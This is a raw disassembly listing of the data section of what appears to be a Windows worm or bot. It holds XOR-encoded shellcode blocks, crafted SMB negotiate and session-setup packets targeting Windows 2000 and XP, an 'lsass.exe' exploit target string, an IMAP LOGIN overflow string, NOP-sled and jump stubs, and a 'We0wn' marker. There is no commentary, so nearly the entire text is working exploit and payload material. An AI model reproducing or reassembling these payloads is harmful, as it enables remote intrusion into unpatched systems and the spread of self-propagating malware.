dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_43E4BC dd 20h, 0 ; DATA XREF: sub_40CA2C+FEo
dd 20h, 5C005Ch, 0
off_43E4D0 dd offset aEeckeren ; DATA XREF: sub_40CA2C+12Co
; "eeckeren"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 10h
dword_43E510 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40CA2C+143o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40CA2C+18o
; sub_40CA2C+59o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrr_0 db ''
db ''
db '',0
dword_43E620 dd 10016C6h ; DATA XREF: sub_40CA2C+CCo
dword_43E624 dd 100139Dh ; DATA XREF: sub_40CA2C+C3o
dword_43E628 dd 0E983C931h, 0D9EED9B0h, 5BF42474h, 2B137381h, 8313778Dh
; DATA XREF: sub_40CA2C+3Co
dd 0F4E2FCEBh, 5E9CE7D7h, 0EC8874C3h, 7FFCEDD4h, 56FCA90Fh
dd 160B0617h, 98988C53h, 4CFC9564h, 5A9C8C0Bh, 12FCB9A0h
dd 8AB7BCC5h, 67B70987h, 1EBD4C2Ch, 0E79C4F2Ah, 3B53D910h
dd 4CFC685Eh, 759C8C0Fh, 983C81A0h, 0F8769174h, 9AFCA128h
dd 726BA947h, 77ACBCE8h, 9847CEA0h, 63FC816Bh, 53FC2037h
dd 9D1FD323h, 439B8365h, 40115BD4h, 2144E54Dh, 2104FA43h
dd 0C388D974h, 0EF9A4643h, 0C588DD10h, 75920474h, 117F60AAh
dd 0EC75E77Eh, 1AAEE5FBh, 0EC2020DEh, 4024DEFDh, 4034DE78h
dd 0C388DE68h, 0D470E54Dh, 0F2FEDE4Dh, 9D3E5BEh, 0EC204A5Bh
dd 4267E7FDh, 7BA7727Eh, 0FA59208Fh, 40A1727Ch, 7BA7727Eh
dd 5AF1C4CEh, 43A1727Ch, 0EC22D97Fh, 0F41F1EFBh, 440E4B52h
dd 0EC225BD4h, 771DEBFBh, 7E14E54Dh, 431D68A2h, 9ABBA472h
dd 9A33E7CCh, 0E0B7BCC9h, 3E357381h, 805BCFD5h, 0B84FF7A6h
dd 611F2680h, 0EC613ED5h, 0C588C95Eh, 4225DA70h, 121DDC7Ah
dd 4222DC7Ah, 0BE1F5DD4h, 40B988F2h, 0EC1D5BD4h, 0C388BAD4h
dd 908BDAA0h, 0C588E9EFh, 7BA77279h, 4C7307DBh, 0ECA17278h
dd 13778DFBh, 2 dup(0)
dword_43E788 dd 2016280h, 100BDh, 8F160001h, 182h, 2 dup(0) ; DATA XREF: seg000:0040CF45o
byte_43E7A0 db 0EBh, 25h ; DATA XREF: seg000:0040CFCEo
word_43E7A2 dw 0FAE9h ; DATA XREF: seg000:0040CFB4o
dword_43E7A4 dd 0F677D399h, 596C0602h, 1DF8596Ch, 0D18CDE9Ch, 3D4704Ch
; DATA XREF: seg000:0040CFC4o
dd 53574658h, 32335F32h, 4C4C442Eh, 0E805EB01h, 0FFFFFFF9h
dd 2CED835Dh, 6459306Ah, 408B018Bh, 1C708B0Ch, 8788BADh
dd 8B3C5F8Dh, 8BFB011Bh, 0FB01785Bh, 11C4B8Bh, 24538BF9h
dd 5153FA01h, 205B8B52h, 0C931FB01h, 99C03141h, 18B348Bh
dd 0C231ACFEh, 0C084E2D1h, 0B60FF775h, 448D0945h, 39660845h
dd 66E17510h, 585A1031h, 5250565Eh, 41104E2Bh, 4A0CB70Fh
dd 188048Bh, 4DB60FF8h, 8D448909h, 94DFED8h, 4DFEBE75h
dd 0FE177408h, 5D8D244Dh, 0D0FF531Ah, 26AC789h, 9458858h
dd 0C794580h, 8B5082EBh, 93350445h, 89939393h, 8B660445h
dd 35660245h, 89669393h, 89580245h, 53DB31CEh, 56535353h
dd 0D0FF5646h, 5855C789h, 6A308966h, 0FF575510h, 458DE055h
dd 55FF5088h, 0FF5555E8h, 448DEC55h, 53940C05h, 78652E68h
dd 635C6865h, 3194646Dh, 0CC458DD2h, 57575794h, 0CAFE5353h
dd 9452F201h, 5078458Dh, 5088458Dh, 535308B1h, 0CEFE106Ah
dd 53535352h, 0F055FF55h, 55FFFF6Ah, 0E4h
aA01Login db 'a01 LOGIN "&',0 ; DATA XREF: seg000:0040D243o
align 10h
dword_43E8F0 dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah
; DATA XREF: seg000:0040D253o
dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh, 39943EC4h
dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h, 7D942E6Bh
dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh
dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh, 0F59436E3h
dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h, 3C94B7FCh
dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h, 4E6C6D88h
dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h
dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h
dd 14CFE5B3h
dword_43E9A8 dd 7D1F1A9Fh ; DATA XREF: seg000:0040D210o
db 86h, 72h
word_43E9AE dw 0AE1Bh ; DATA XREF: seg000:0040D222o
dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h
dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h
dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h
dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h
dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh, 8366DC99h
dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h
dd 0
dword_43EA2C dd 4EBh ; DATA XREF: seg000:0040D2EDo
; seg000:0040D31Fo ...
dword_43EA30 dd 100102EBh, 0 ; DATA XREF: seg000:0040D2FEo
dword_43EA38 dd 100103BBh, 0 ; DATA XREF: seg000:0040D330o
dword_43EA40 dd 100108CBh, 0 ; DATA XREF: seg000:0040D36Bo
dword_43EA48 dd 100102D9h, 0 ; DATA XREF: seg000:0040D3A6o
dword_43EA50 dd 1001031Bh, 0 ; DATA XREF: seg000:0040D3D3o
dword_43EA58 dd 10010269h, 0 ; DATA XREF: seg000:0040D411o
dword_43EA60 dd 10010296h, 0 ; DATA XREF: seg000:0040D43Eo
dword_43EA68 dd 100102E2h, 0 ; DATA XREF: seg000:0040D46Bo
dword_43EA70 dd 100102E2h, 0 ; DATA XREF: seg000:0040D498o
dword_43EA78 dd 100102E2h, 0 ; DATA XREF: seg000:0040D4C5o
dword_43EA80 dd 100102E2h, 0 ; DATA XREF: seg000:0040D4F2o
dword_43EA88 dd 10010302h, 0 ; DATA XREF: seg000:0040D51Fo
dword_43EA90 dd 100249D4h, 0 ; DATA XREF: seg000:0040D54Co
dword_43EA98 dd 1001D9BBh, 0 ; DATA XREF: seg000:0040D579o
dword_43EAA0 dd 100218E6h, 0 ; DATA XREF: seg000:0040D5A6o
dword_43EAA8 dd 10021782h, 0 ; DATA XREF: seg000:0040D5D3o
dword_43EAB0 dd 10021A51h, 0 ; DATA XREF: seg000:0040D5FDo
dword_43EAB8 dd 10021A51h, 0 ; DATA XREF: seg000:0040D62Bo
dword_43EAC0 dd 10021A62h, 0 ; DATA XREF: seg000:0040D781o
dword_43EAC8 dd 335B0FEBh, 0E98366C9h, 553380E0h, 0EBFAE243h, 0FFECE805h
; DATA XREF: seg000:0040D264o
dd 0BB8CFFFFh, 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h
dd 0B4AAh
aWe0wn db '" "We0wn"',0Dh,0Ah,0 ; DATA XREF: seg000:0040D278o
dword_43EB00 dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
; DATA XREF: sub_40DDD9+181o
; sub_40DDD9+23Eo
dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h
dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h
dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h
dd 0D9C9D9C9h, 8DCF66C9h
db 12h, 41h, 0F1h
byte_43EB6F db 0E6h ; DATA XREF: sub_40DDD9+130o
dd 0F1989999h
db 9Bh, 99h
word_43EB76 dw 4B9Dh ; DATA XREF: sub_40DDD9+120o
dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h
dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
dword_43EC40 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
; DATA XREF: sub_40D7FE+159o
; sub_40D7FE+216o
dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h
dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
dword_43ECF0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40D7FE+108o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_43EDD8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: seg000:0040DCBDo
; seg000:0040E296o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 8
dword_43EE68 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040DCE9o
; seg000:0040E2C2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 2 dup(0)
dword_43EF18 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040DD10o
; seg000:0040E2E9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_43EFF8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+59o
; sub_40DDD9+59o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_4: ; DATA XREF: sub_40D7FE+8Bo
; sub_40DDD9+8Bo
unicode 0, <C$>,0
a????? db '?????',0
align 10h
dword_43F060 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+2AEo
; sub_40DDD9+2D3o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 2 dup(0)
dword_43F0D0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+2D5o
; sub_40DDD9+2FEo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43F178 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+3B4o
; sub_40DDD9+3E1o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_43F1F8 dd offset loc_401490+5 ; DATA XREF: sub_40D7FE+3E2o
; sub_40DDD9+40Fo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_407077+5
dd 1, 0
dd 1, 0
dd offset loc_407077+5
dd 1, 0
dd 1, 0
dd offset loc_407077+5
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 2 dup(0)
dword_43F290 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+30Ao
; sub_40DDD9+337o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 2 dup(0)
dword_43F300 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+335o
; sub_40DDD9+362o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_43F378 dd 0 ; DATA XREF: sub_40D7FE+363o
; sub_40DDD9+390o
dd offset dword_40A86C+2Eh
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset dword_40A86C+2Eh
dd 1, 0
dd 1, 0
dd offset dword_40A86C+2Eh
dd 1, 0
dd 1, 0
dd offset dword_40A86C+2Eh
dd 1, 0
dd 1, 2 dup(0)
dword_43F400 dd 0AD9Dh ; DATA XREF: sub_40D7FE+EAr
; sub_40D7FE+41Er
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_43F440 dd 1004600h ; DATA XREF: sub_40D7FE+141r
; sub_40D7FE+249r ...
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_43F4F8 dd 0EB5D03EBh, 0FFF8E805h, 0C58BFFFFh, 3311C083h, 0C9B966C9h
; DATA XREF: sub_40E3B2+118o
dd 88308001h, 0DDFAE240h, 7C036403h, 88086409h, 0C4608888h
dd 1888889h, 0FE7774CEh, 0C606E074h, 0D9606486h, 1888889h
dd 0BBE04ECEh, 0E08888BAh, 0D7BAFBFFh, 4EDE77DCh, 7770CE01h
dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh
dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h
dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h, 88888988h
dd 777CCE01h, 51E070FEh, 60257D81h, 88888878h, 7778CE01h
dd 2CE070FEh, 604FF892h, 88888868h, 7764CE01h, 2CE070FEh
dd 6061A625h, 88888858h, 7760CE01h, 6DE070FEh, 60C10EC1h
dd 88888848h, 776ACE01h, 6FE070FEh, 60F14EF1h, 88888838h
dd 0BB5ECE01h, 7C640977h, 0DC888889h, 888989E0h, 7CDE7788h
dd 0D8D8D8D8h, 0D8C8D8C8h, 378DE77h, 0E0DFDF50h, 6FAB888Ah
dd 9EE24403h, 0DE77DBD9h, 77DBDF64h, 77BB60DEh, 77DBD9DFh
dd 58036ADEh, 0E036CE01h, 88ECE5EBh, 0B4AEE01h, 0B405244Ch
dd 0BB48BBACh, 9D490841h, 4E756A23h, 0CC98ACCCh, 0B5ACCC76h
dd 0C0ACDC01h, 0C4ACDC01h, 0D8ACDC01h, 98ACCC05h, 0D9D9D8DCh
dd 0C1D9C9D9h, 0FE77D9D9h, 0DE77D94Ah, 0E2440346h, 77B97777h
dd 40035ADEh, 7736FE77h, 16635EDEh, 0DE9CDE77h, 88B829ECh
dd 0C8038888h, 94F80384h, 80C80325h, 888C4AD6h, 0DFDEDDDBh
dd 90ACE403h, 3B4CD03h, 8BF08DDCh, 90C2035Dh, 8BA8D203h
dd 0C1BA6B55h, 8B03BC03h, 7477BB7Dh, 0B22448BBh, 498FFC4Ch
dd 708B8547h, 0F4B37A63h, 69FD9CACh, 8BACD203h, 8403EE55h
dd 94D203C3h, 8C03558Bh, 634D8B03h, 348BB8Ah, 0D5D6D75Dh
dd 888C4AD3h, 0
dword_43F6E0 dd 280004h, 10h, 4 dup(0) ; DATA XREF: sub_40E3B2+7Bo
dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh
dd 68736942h, 326B656Bh, 0FF333030h, 0
dd 1, 0
dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0
dword_43F734 dd 7FFDF020h, 0 ; DATA XREF: sub_40E971+15Ao
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40E971+A5o
align 4
dword_43F748 dd 10FF8h ; DATA XREF: sub_40E971+6Fo
dword_43F74C dd 10FF8h, 2 dup(0) ; DATA XREF: sub_40E971+36o
dword_43F758 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40ED91+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002_0 db 'LM1.2X002',0
dw 4C02h
aAnman2_1_0 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12_0 db ' LM 0.12',0
align 10h
dword_43F7E0 dd 0 ; DATA XREF: sub_40ED91+44o
dd 800000D4h, 0
dword_43F7EC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40ED91+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 3 dup(0)
unk_43F820 db 81h ; ; DATA XREF: sub_40EE6B+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_43F870 db 41h ; DATA XREF: sub_40F47A+104r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 8
aSvwfbA db 'SVWfì€',0 ; DATA XREF: seg000:0040F753o
aIcsa db '‰æèí',0
db 2 dup(0), 0FFh
dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh
dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h
dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h
dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h
dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h
dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h
dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h
dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_43FA20 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
; DATA XREF: seg000:0040F701o
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_43FAB0 dd 1000005h, 10h, 418h, 0 ; DATA XREF: seg000:0040FC62o
dd 400h, 90000h, 3 dup(1), 2 dup(3), 2, 7E4h, 0
dd 7E4h, 53004Fh, 3Ah
aPrivate: ; DATA XREF: seg000:0040FC86o
unicode 0, <\PRIVATE$\>,0
align 4
dword_43FB0C dd 5, 10h, 418h, 0 ; DATA XREF: seg000:0040FC93o
dd 400h, 90000h, 0
dword_43FB28 dd 2000005h, 10h, 404h, 0 ; DATA XREF: seg000:0040FCBFo
dd 3ECh, 90000h, 0
dword_43FB44 dd 909008EBh, 4014E9h, 2 dup(90909090h), 909008EBh, 4014E9h
; DATA XREF: seg000:0040FCD2o
dd 1AEB9090h, 6F684041h, 6F657375h, 62616466h, 41487375h
dd 909006EBh, 100124Dh, 90909090h, 9090h
dword_43FB80 dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 833704F5h
; DATA XREF: seg000:0040FD03o
dd 0F4E2FCEBh, 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh
dd 32787E25h, 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h
dd 0AEC4C4F7h, 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h
dd 688F106Ch, 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah
dd 5618D175h, 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h
dd 0B96CAB11h, 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h
dd 0E7FBA146h, 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h
dd 0C8069F4Ch, 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah
dd 0E7FBA65Ah
db 7Fh, 9Dh
word_43FC3A dw 551Ah ; DATA XREF: seg000:0040FD0Cw
dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh
dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h
dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h
dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 2 dup(0)
dword_43FCE0 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
; DATA XREF: seg000:004103D6o
; seg000:004104AFo
dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h
dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
dword_43FD90 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: seg000:00410305o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
